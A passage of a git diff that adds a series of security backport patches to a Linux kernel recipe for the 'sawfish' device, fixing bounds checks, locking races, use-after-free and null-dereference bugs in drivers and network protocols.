100644 +--- a/net/dccp/proto.c ++++ b/net/dccp/proto.c +@@ -792,6 +792,11 @@ int dccp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, + if (skb == NULL) + goto out_release; + ++ if (sk->sk_state == DCCP_CLOSED) { ++ rc = -ENOTCONN; ++ goto out_discard; ++ } ++ + skb_reserve(skb, sk->sk_prot->max_header); + rc = memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len); + if (rc != 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0379.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0379.diff new file mode 100644 index 0000000..775cb7a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0379.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index c9461d6..be581c2 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -1051,14 +1051,18 @@ + { + int i; + ++ mutex_lock(&driver->diagchar_mutex); + for (i = 0; i < driver->num_clients; i++) + if (driver->client_map[i].pid == current->tgid) + break; + +- if (i == driver->num_clients) ++ if (i == driver->num_clients) { ++ mutex_unlock(&driver->diagchar_mutex); + return -EINVAL; ++ } + + driver->data_ready[i] |= DEINIT_TYPE; ++ mutex_unlock(&driver->diagchar_mutex); + wake_up_interruptible(&driver->wait_q); + + return 1; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0380-0b8320cd4925-ASoC apr Add validity check to APR port.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0380-0b8320cd4925-ASoC apr Add validity check to APR port.patch new file mode 100644 index 0000000..278c145 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0380-0b8320cd4925-ASoC apr Add validity check to APR port.patch @@ -0,0 +1,31 @@ +From 0b8320cd49255177f0c0c8589708e983116ac420 Mon Sep 17 00:00:00 2001 +From: Aditya Bavanari +Date: Tue, 19 Dec 2017 20:34:26 +0530 +Subject: ASoC: apr: Add validity check to APR port + +Add boundary checks for APR port received from ADSP. + +CRs-Fixed: 2143207 +Change-Id: I9a7fa39ee223e1859323caa6eb74c1c8a26a041d +Signed-off-by: Aditya Bavanari +--- + drivers/soc/qcom/qdsp6v2/apr.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/soc/qcom/qdsp6v2/apr.c b/drivers/soc/qcom/qdsp6v2/apr.c +index 97e46e6..62519a60 100644 +--- a/drivers/soc/qcom/qdsp6v2/apr.c ++++ b/drivers/soc/qcom/qdsp6v2/apr.c +@@ -608,7 +608,8 @@ void apr_cb_func(void *buf, int len, void *priv) + + temp_port = ((data.dest_port >> 8) * 8) + (data.dest_port & 0xFF); + pr_debug("port = %d t_port = %d\n", data.src_port, temp_port); +- if (c_svc->port_cnt && c_svc->port_fn[temp_port]) ++ if (((temp_port >= 0) && (temp_port < APR_MAX_PORTS)) ++ && (c_svc->port_cnt && c_svc->port_fn[temp_port])) + c_svc->port_fn[temp_port](&data, c_svc->port_priv[temp_port]); + else if (c_svc->fn) + c_svc->fn(&data, c_svc->priv); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0381-5f3b52152568-drivers cpuidle lpmlevels Fix untrusted pointer dereference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0381-5f3b52152568-drivers cpuidle lpmlevels Fix untrusted pointer dereference.patch new file mode 100644 index 0000000..62cf3cf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0381-5f3b52152568-drivers cpuidle lpmlevels Fix untrusted pointer dereference.patch @@ -0,0 +1,48 @@ +From 5f3b521525689671f2925a49121d0abe28a0a398 Mon Sep 17 00:00:00 2001 +From: Mahesh Sivasubramanian +Date: Tue, 28 Nov 2017 10:06:17 -0700 +Subject: drivers: cpuidle: lpm-levels: Fix untrusted pointer dereference. + +The list_for_each macro was not used correctly, where the intermediate +variable would be LIST_POISON, resulting in a untrusted pointer +dereference. Switch to using list_for_each_entry_safe to for safe +removal of a list entry. + +Change-Id: I0e0fd5dd9f251b5093d6e9d6335387512ec59249 +Signed-off-by: Mahesh Sivasubramanian +--- + drivers/cpuidle/lpm-levels-of.c | 12 +++++------- + 1 file changed, 5 insertions(+), 7 deletions(-) + +diff --git a/drivers/cpuidle/lpm-levels-of.c b/drivers/cpuidle/lpm-levels-of.c +index ffbfd1c..81a9f97 100644 +--- a/drivers/cpuidle/lpm-levels-of.c ++++ b/drivers/cpuidle/lpm-levels-of.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -848,14 +848,12 @@ failed: + + void free_cluster_node(struct lpm_cluster *cluster) + { +- struct list_head *list; + int i; ++ struct lpm_cluster *cl, *m; + +- list_for_each(list, &cluster->child) { +- struct lpm_cluster *n; +- n = list_entry(list, typeof(*n), list); +- list_del(list); +- free_cluster_node(n); ++ list_for_each_entry_safe(cl, m, &cluster->child, list) { ++ list_del(&cl->list); ++ free_cluster_node(cl); + }; + + if (cluster->cpu) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0382-a7b25c9f6ea9-RDS Heap OOB write in rdsmessageallocsgs.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0382-a7b25c9f6ea9-RDS Heap OOB write in rdsmessageallocsgs.patch new file mode 100644 index 0000000..6b365d3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0382-a7b25c9f6ea9-RDS Heap OOB write in rdsmessageallocsgs.patch @@ -0,0 +1,36 @@ +From a7b25c9f6ea92d582bda195eca561b9cb605ea91 Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Tue, 2 Jan 2018 19:44:34 +0000 +Subject: RDS: Heap OOB write in rds_message_alloc_sgs() + +[ Upstream commit c095508770aebf1b9218e77026e48345d719b17c ] + +When args->nr_local is 0, nr_pages gets also 0 due some size +calculation via rds_rm_size(), which is later used to allocate +pages for DMA, this bug produces a heap Out-Of-Bound write access +to a specific memory region. + +Signed-off-by: Mohamed Ghannam +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/rdma.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index 612c3050d514..3e6b133c5e96 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -516,6 +516,9 @@ int rds_rdma_extra_size(struct rds_rdma_args *args) + + local_vec = (struct rds_iovec __user *)(unsigned long) args->local_vec_addr; + ++ if (args->nr_local == 0) ++ return -EINVAL; ++ + /* figure out the number of pages in the vector */ + for (i = 0; i < args->nr_local; i++) { + if (copy_from_user(&vec, &local_vec[i], +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0383-3396f2bef5ed-RDS null pointer dereference in rdsatomicfreeop.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0383-3396f2bef5ed-RDS null pointer dereference in rdsatomicfreeop.patch new file mode 100644 index 0000000..899bb8f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0383-3396f2bef5ed-RDS null pointer dereference in rdsatomicfreeop.patch @@ -0,0 +1,34 @@ +From 3396f2bef5ede06f73c0be43975ce837767785ed Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Wed, 3 Jan 2018 21:06:06 +0000 +Subject: RDS: null pointer dereference in rds_atomic_free_op + +[ Upstream commit 7d11f77f84b27cef452cee332f4e469503084737 ] + +set rm->atomic.op_active to 0 when rds_pin_pages() fails +or the user supplied address is invalid, +this prevents a NULL pointer usage in rds_atomic_free_op() + +Signed-off-by: Mohamed Ghannam +Acked-by: Santosh Shilimkar +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/rdma.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index 3e6b133c5e96..b1ec96bca937 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -866,6 +866,7 @@ int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm, + err: + if (page) + put_page(page); ++ rm->atomic.op_active = 0; + kfree(rm->atomic.op_notifier); + + return ret; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0384-524a6efbd123-loop fix concurrent loopenlorelease.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0384-524a6efbd123-loop fix concurrent loopenlorelease.patch new file mode 100644 index 0000000..0254170 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0384-524a6efbd123-loop fix concurrent loopenlorelease.patch @@ -0,0 +1,59 @@ +From 524a6efbd1234439ba00176006ed95ad7d007da6 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Fri, 5 Jan 2018 16:26:00 -0800 +Subject: loop: fix concurrent lo_open/lo_release +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit ae6650163c66a7eff1acd6eb8b0f752dcfa8eba5 upstream. + +范龙飞 reports that KASAN can report a use-after-free in __lock_acquire. +The reason is due to insufficient serialization in lo_release(), which +will continue to use the loop device even after it has decremented the +lo_refcnt to zero. + +In the meantime, another process can come in, open the loop device +again as it is being shut down. Confusion ensues. + +Reported-by: 范龙飞 +Signed-off-by: Linus Torvalds +Signed-off-by: Jens Axboe +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/block/loop.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/drivers/block/loop.c b/drivers/block/loop.c +index 6cb1beb47c25d..94385b969f675 100644 +--- a/drivers/block/loop.c ++++ b/drivers/block/loop.c +@@ -1512,9 +1512,8 @@ out: + return err; + } + +-static void lo_release(struct gendisk *disk, fmode_t mode) ++static void __lo_release(struct loop_device *lo) + { +- struct loop_device *lo = disk->private_data; + int err; + + mutex_lock(&lo->lo_ctl_mutex); +@@ -1542,6 +1541,13 @@ out: + mutex_unlock(&lo->lo_ctl_mutex); + } + ++static void lo_release(struct gendisk *disk, fmode_t mode) ++{ ++ mutex_lock(&loop_index_mutex); ++ __lo_release(disk->private_data); ++ mutex_unlock(&loop_index_mutex); ++} ++ + static const struct block_device_operations lo_fops = { + .owner = THIS_MODULE, + .open = lo_open, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0385.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0385.diff new file mode 100644 index 0000000..386908d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0385.diff @@ -0,0 +1,14 @@ +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index 5ac4a5b..4d84448 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -4730,6 +4730,9 @@ + else if (sk_under_memory_pressure(sk)) + tp->rcv_ssthresh = min(tp->rcv_ssthresh, 4U * tp->advmss); + ++ if (atomic_read(&sk->sk_rmem_alloc) <= sk->sk_rcvbuf) ++ return 0; ++ + tcp_collapse_ofo_queue(sk); + if (!skb_queue_empty(&sk->sk_receive_queue)) + tcp_collapse(sk, &sk->sk_receive_queue, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0386.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0386.diff new file mode 100644 index 0000000..207946b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0386.diff @@ -0,0 +1,40 @@ +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index 4d84448..6a60a2f 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -4644,6 +4644,7 @@ + static void tcp_collapse_ofo_queue(struct sock *sk) + { + struct tcp_sock *tp = tcp_sk(sk); ++ u32 range_truesize, sum_tiny = 0; + struct sk_buff *skb = skb_peek(&tp->out_of_order_queue); + struct sk_buff *head; + u32 start, end; +@@ -4653,6 +4654,7 @@ + + start = TCP_SKB_CB(skb)->seq; + end = TCP_SKB_CB(skb)->end_seq; ++ range_truesize = skb->truesize; + head = skb; + + for (;;) { +@@ -4667,8 +4669,17 @@ + if (!skb || + after(TCP_SKB_CB(skb)->seq, end) || + before(TCP_SKB_CB(skb)->end_seq, start)) { +- tcp_collapse(sk, &tp->out_of_order_queue, +- head, skb, start, end); ++ /* Do not attempt collapsing tiny skbs */ ++ if (range_truesize != head->truesize || ++ end - start >= SKB_WITH_OVERHEAD(SK_MEM_QUANTUM)) { ++ tcp_collapse(sk, &tp->out_of_order_queue, ++ head, skb, start, end); ++ } else { ++ sum_tiny += range_truesize; ++ if (sum_tiny > sk->sk_rcvbuf >> 3) ++ return; ++ } ++ + head = skb; + if (!skb) + break; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0387-0a0e3ffb0a14-ACPI sbshc remove raw pointer from printk message.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0387-0a0e3ffb0a14-ACPI sbshc remove raw pointer from printk message.patch new file mode 100644 index 0000000..547991c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0387-0a0e3ffb0a14-ACPI sbshc remove raw pointer from printk message.patch @@ -0,0 +1,37 @@ +From 0a0e3ffb0a1445a756cc91cd9f03b1ac3abd2e32 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 19 Jan 2018 10:06:03 +0100 +Subject: ACPI: sbshc: remove raw pointer from printk() message + +commit 43cdd1b716b26f6af16da4e145b6578f98798bf6 upstream. + +There's no need to be printing a raw kernel pointer to the kernel log at +every boot. So just remove it, and change the whole message to use the +correct dev_info() call at the same time. + +Reported-by: Wang Qize +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Rafael J. Wysocki +Signed-off-by: Greg Kroah-Hartman +--- + drivers/acpi/sbshc.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/acpi/sbshc.c b/drivers/acpi/sbshc.c +index bf034f8b7c1a..030ab2f543df 100644 +--- a/drivers/acpi/sbshc.c ++++ b/drivers/acpi/sbshc.c +@@ -309,8 +309,8 @@ static int acpi_smbus_hc_add(struct acpi_device *device) + device->driver_data = hc; + + acpi_ec_add_query_handler(hc->ec, hc->query_bit, NULL, smbus_alarm, hc); +- printk(KERN_INFO PREFIX "SBS HC: EC = 0x%p, offset = 0x%0x, query_bit = 0x%0x\n", +- hc->ec, hc->offset, hc->query_bit); ++ dev_info(&device->dev, "SBS HC: offset = 0x%0x, query_bit = 0x%0x\n", ++ hc->offset, hc->query_bit); + + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0388-5b77504ae152-sctp verify size of a new chunk in sctpmakechunk.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0388-5b77504ae152-sctp verify size of a new chunk in sctpmakechunk.patch new file mode 100644 index 0000000..73b6193 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0388-5b77504ae152-sctp verify size of a new chunk in sctpmakechunk.patch @@ -0,0 +1,89 @@ +From 5b77504ae15267e8bc68b2622a7554076fe03e3b Mon Sep 17 00:00:00 2001 +From: Alexey Kodanev +Date: Fri, 9 Feb 2018 17:35:23 +0300 +Subject: sctp: verify size of a new chunk in _sctp_make_chunk() + +[ Upstream commit 07f2c7ab6f8d0a7e7c5764c4e6cc9c52951b9d9c ] + +When SCTP makes INIT or INIT_ACK packet the total chunk length +can exceed SCTP_MAX_CHUNK_LEN which leads to kernel panic when +transmitting these packets, e.g. the crash on sending INIT_ACK: + +[ 597.804948] skbuff: skb_over_panic: text:00000000ffae06e4 len:120168 + put:120156 head:000000007aa47635 data:00000000d991c2de + tail:0x1d640 end:0xfec0 dev: +... +[ 597.976970] ------------[ cut here ]------------ +[ 598.033408] kernel BUG at net/core/skbuff.c:104! +[ 600.314841] Call Trace: +[ 600.345829] +[ 600.371639] ? sctp_packet_transmit+0x2095/0x26d0 [sctp] +[ 600.436934] skb_put+0x16c/0x200 +[ 600.477295] sctp_packet_transmit+0x2095/0x26d0 [sctp] +[ 600.540630] ? sctp_packet_config+0x890/0x890 [sctp] +[ 600.601781] ? __sctp_packet_append_chunk+0x3b4/0xd00 [sctp] +[ 600.671356] ? sctp_cmp_addr_exact+0x3f/0x90 [sctp] +[ 600.731482] sctp_outq_flush+0x663/0x30d0 [sctp] +[ 600.788565] ? sctp_make_init+0xbf0/0xbf0 [sctp] +[ 600.845555] ? sctp_check_transmitted+0x18f0/0x18f0 [sctp] +[ 600.912945] ? sctp_outq_tail+0x631/0x9d0 [sctp] +[ 600.969936] sctp_cmd_interpreter.isra.22+0x3be1/0x5cb0 [sctp] +[ 601.041593] ? sctp_sf_do_5_1B_init+0x85f/0xc30 [sctp] +[ 601.104837] ? sctp_generate_t1_cookie_event+0x20/0x20 [sctp] +[ 601.175436] ? sctp_eat_data+0x1710/0x1710 [sctp] +[ 601.233575] sctp_do_sm+0x182/0x560 [sctp] +[ 601.284328] ? sctp_has_association+0x70/0x70 [sctp] +[ 601.345586] ? sctp_rcv+0xef4/0x32f0 [sctp] +[ 601.397478] ? sctp6_rcv+0xa/0x20 [sctp] +... + +Here the chunk size for INIT_ACK packet becomes too big, mostly +because of the state cookie (INIT packet has large size with +many address parameters), plus additional server parameters. + +Later this chunk causes the panic in skb_put_data(): + + skb_packet_transmit() + sctp_packet_pack() + skb_put_data(nskb, chunk->skb->data, chunk->skb->len); + +'nskb' (head skb) was previously allocated with packet->size +from u16 'chunk->chunk_hdr->length'. + +As suggested by Marcelo we should check the chunk's length in +_sctp_make_chunk() before trying to allocate skb for it and +discard a chunk if its size bigger than SCTP_MAX_CHUNK_LEN. + +Signed-off-by: Alexey Kodanev +Acked-by: Marcelo Ricardo Leitner +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/sm_make_chunk.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c +index 642c115702855..6d48cbf6465d0 100644 +--- a/net/sctp/sm_make_chunk.c ++++ b/net/sctp/sm_make_chunk.c +@@ -1367,10 +1367,14 @@ static struct sctp_chunk *_sctp_make_chunk(const struct sctp_association *asoc, + sctp_chunkhdr_t *chunk_hdr; + struct sk_buff *skb; + struct sock *sk; ++ int chunklen; ++ ++ chunklen = sizeof(*chunk_hdr) + paylen; ++ if (chunklen > SCTP_MAX_CHUNK_LEN) ++ goto nodata; + + /* No need to allocate LL here, as this is only a chunk. */ +- skb = alloc_skb(WORD_ROUND(sizeof(sctp_chunkhdr_t) + paylen), +- GFP_ATOMIC); ++ skb = alloc_skb(chunklen, GFP_ATOMIC); + if (!skb) + goto nodata; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0389-b5a8ffcae410-wil6210 missing length check in wmisetie.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0389-b5a8ffcae410-wil6210 missing length check in wmisetie.patch new file mode 100644 index 0000000..01e44c4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0389-b5a8ffcae410-wil6210 missing length check in wmisetie.patch @@ -0,0 +1,38 @@ +From b5a8ffcae4103a9d823ea3aa3a761f65779fbe2a Mon Sep 17 00:00:00 2001 +From: Lior David +Date: Tue, 14 Nov 2017 15:25:39 +0200 +Subject: wil6210: missing length check in wmi_set_ie + +Add a length check in wmi_set_ie to detect unsigned integer +overflow. + +Signed-off-by: Lior David +Signed-off-by: Maya Erez +Signed-off-by: Kalle Valo +--- + drivers/net/wireless/ath/wil6210/wmi.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/net/wireless/ath/wil6210/wmi.c b/drivers/net/wireless/ath/wil6210/wmi.c +index 16aa624a986ac..dd25f6369ce34 100644 +--- a/drivers/net/wireless/ath/wil6210/wmi.c ++++ b/drivers/net/wireless/ath/wil6210/wmi.c +@@ -1616,8 +1616,14 @@ int wmi_set_ie(struct wil6210_priv *wil, u8 type, u16 ie_len, const void *ie) + }; + int rc; + u16 len = sizeof(struct wmi_set_appie_cmd) + ie_len; +- struct wmi_set_appie_cmd *cmd = kzalloc(len, GFP_KERNEL); ++ struct wmi_set_appie_cmd *cmd; + ++ if (len < ie_len) { ++ rc = -EINVAL; ++ goto out; ++ } ++ ++ cmd = kzalloc(len, GFP_KERNEL); + if (!cmd) { + rc = -ENOMEM; + goto out; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0390-b17c33ea2daf-qseecom fix an app unloading issue when the app is blocked.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0390-b17c33ea2daf-qseecom fix an app unloading issue when the app is blocked.patch new file mode 100644 index 0000000..00c9186 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0390-b17c33ea2daf-qseecom fix an app unloading issue when the app is blocked.patch @@ -0,0 +1,30 @@ +From b17c33ea2dafc8fd11b5050d750fefe0b53f226b Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Fri, 13 Oct 2017 14:01:48 -0700 +Subject: qseecom: fix an app unloading issue when the app is blocked + +Reset app_crash flag to make sure app entry is not freed when +there is another client still being blocked on the same app. + +Change-Id: I25d236abc97e60fe8a4abbbc8c086291c764a9c1 +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index e70bde2..b990b0e 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -2541,6 +2541,8 @@ static int qseecom_unload_app(struct qseecom_dev_handle *data, + if (!strcmp((void *)ptr_app->app_name, + (void *)data->client.app_name)) { + found_app = true; ++ if (ptr_app->app_blocked) ++ app_crash = false; + if (app_crash || ptr_app->ref_cnt == 1) + unload = true; + break; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0391-58a3e7f77510-ASoC wcdcpecore Add mutex lock for CPE session.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0391-58a3e7f77510-ASoC wcdcpecore Add mutex lock for CPE session.patch new file mode 100644 index 0000000..0ef4237 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0391-58a3e7f77510-ASoC wcdcpecore Add mutex lock for CPE session.patch @@ -0,0 +1,142 @@ +From 58a3e7f77510ee45439ef80240772ac932340bc1 Mon Sep 17 00:00:00 2001 +From: Vaishnavi Kommaraju +Date: Fri, 19 Jan 2018 17:31:10 +0530 +Subject: ASoC: wcd_cpe_core: Add mutex lock for CPE session + +Add mutex lock to ensure atomic access to core handle +in CPE alloc and dealloc sessions. + +CRs-Fixed: 2169403 +Change-Id: I7e046f349cc56ee06706cf15651dac3fdfe9d9a6 +Signed-off-by: Vaishnavi Kommaraju +--- + sound/soc/codecs/wcd_cpe_core.c | 11 +++++++++++ + sound/soc/codecs/wcd_cpe_core.h | 5 ++++- + sound/soc/codecs/wcd_cpe_services.c | 4 +++- + 3 files changed, 18 insertions(+), 2 deletions(-) + +diff --git a/sound/soc/codecs/wcd_cpe_core.c b/sound/soc/codecs/wcd_cpe_core.c +index c43638f..72b0f87 100644 +--- a/sound/soc/codecs/wcd_cpe_core.c ++++ b/sound/soc/codecs/wcd_cpe_core.c +@@ -1953,6 +1953,7 @@ struct wcd_cpe_core *wcd_cpe_init(const char *img_fname, + init_completion(&core->online_compl); + init_waitqueue_head(&core->ssr_entry.offline_poll_wait); + mutex_init(&core->ssr_lock); ++ mutex_init(&core->session_lock); + core->cpe_users = 0; + core->cpe_clk_ref = 0; + +@@ -3406,6 +3407,7 @@ static struct cpe_lsm_session *wcd_cpe_alloc_lsm_session( + * If this is the first session to be allocated, + * only then register the afe service. + */ ++ WCD_CPE_GRAB_LOCK(&core->session_lock, "session_lock"); + if (!wcd_cpe_lsm_session_active()) + afe_register_service = true; + +@@ -3420,6 +3422,7 @@ static struct cpe_lsm_session *wcd_cpe_alloc_lsm_session( + dev_err(core->dev, + "%s: max allowed sessions already allocated\n", + __func__); ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return NULL; + } + +@@ -3428,6 +3431,7 @@ static struct cpe_lsm_session *wcd_cpe_alloc_lsm_session( + dev_err(core->dev, + "%s: Failed to enable cpe, err = %d\n", + __func__, ret); ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return NULL; + } + +@@ -3474,6 +3478,8 @@ static struct cpe_lsm_session *wcd_cpe_alloc_lsm_session( + init_completion(&session->cmd_comp); + + lsm_sessions[session_id] = session; ++ ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return session; + + err_afe_mode_cmd: +@@ -3488,6 +3494,7 @@ err_ret: + + err_session_alloc: + wcd_cpe_vote(core, false); ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return NULL; + } + +@@ -3637,9 +3644,11 @@ static int wcd_cpe_dealloc_lsm_session(void *core_handle, + struct wcd_cpe_core *core = core_handle; + int ret = 0; + ++ WCD_CPE_GRAB_LOCK(&core->session_lock, "session_lock"); + if (!session) { + dev_err(core->dev, + "%s: Invalid lsm session\n", __func__); ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return -EINVAL; + } + +@@ -3650,6 +3659,7 @@ static int wcd_cpe_dealloc_lsm_session(void *core_handle, + "%s: Wrong session id %d max allowed = %d\n", + __func__, session->id, + WCD_CPE_LSM_MAX_SESSIONS); ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return -EINVAL; + } + +@@ -3670,6 +3680,7 @@ static int wcd_cpe_dealloc_lsm_session(void *core_handle, + "%s: Failed to un-vote cpe, err = %d\n", + __func__, ret); + ++ WCD_CPE_REL_LOCK(&core->session_lock, "session_lock"); + return ret; + } + +diff --git a/sound/soc/codecs/wcd_cpe_core.h b/sound/soc/codecs/wcd_cpe_core.h +index 77027d58..d534b5c 100644 +--- a/sound/soc/codecs/wcd_cpe_core.h ++++ b/sound/soc/codecs/wcd_cpe_core.h +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2013-2015, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2013-2015, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -169,6 +169,9 @@ struct wcd_cpe_core { + /* mutex to protect cpe ssr status variables */ + struct mutex ssr_lock; + ++ /* mutex to protect cpe session status variables */ ++ struct mutex session_lock; ++ + /* Store the calibration data needed for cpe */ + struct cal_type_data *cal_data[WCD_CPE_LSM_CAL_MAX]; + +diff --git a/sound/soc/codecs/wcd_cpe_services.c b/sound/soc/codecs/wcd_cpe_services.c +index 3fff18e..845b4f8 100644 +--- a/sound/soc/codecs/wcd_cpe_services.c ++++ b/sound/soc/codecs/wcd_cpe_services.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2014-2016, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -615,8 +615,10 @@ static enum cpe_svc_result cpe_deregister_generic(struct cpe_info *t_info, + return CPE_SVC_INVALID_HANDLE; + } + ++ CPE_SVC_GRAB_LOCK(&cpe_d.cpe_svc_lock, "cpe_svc"); + list_del(&(n->list)); + kfree(reg_handle); ++ CPE_SVC_REL_LOCK(&cpe_d.cpe_svc_lock, "cpe_svc"); + + return CPE_SVC_SUCCESS; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0392-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0392-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch new file mode 100644 index 0000000..63f764d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0392-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch @@ -0,0 +1,45 @@ +From cd1f0cdd4715e8eae4066bd34df2eef4cf94bd7f Mon Sep 17 00:00:00 2001 +From: Karthikeyan Mani +Date: Tue, 6 Mar 2018 11:04:49 -0800 +Subject: ASoC: msm: qdsp6v2: check for buffer size before read + +Check for debugfs ops buf size passed before reading +to eliminate the possibility of reading out of bounds. + +Change-Id: I28fd60ce93256b6b0bad62b449092a891cc15463 +Signed-off-by: Karthikeyan Mani +--- + sound/soc/msm/qdsp6v2/q6asm.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/q6asm.c b/sound/soc/msm/qdsp6v2/q6asm.c +index 5a0378d..073cd7b 100644 +--- a/sound/soc/msm/qdsp6v2/q6asm.c ++++ b/sound/soc/msm/qdsp6v2/q6asm.c +@@ -148,6 +148,11 @@ static ssize_t audio_output_latency_dbgfs_read(struct file *file, + pr_err("%s: out_buffer is null\n", __func__); + return 0; + } ++ if (count < OUT_BUFFER_SIZE) { ++ pr_err("%s: read size %d exceeds buf size %zd\n", __func__, ++ 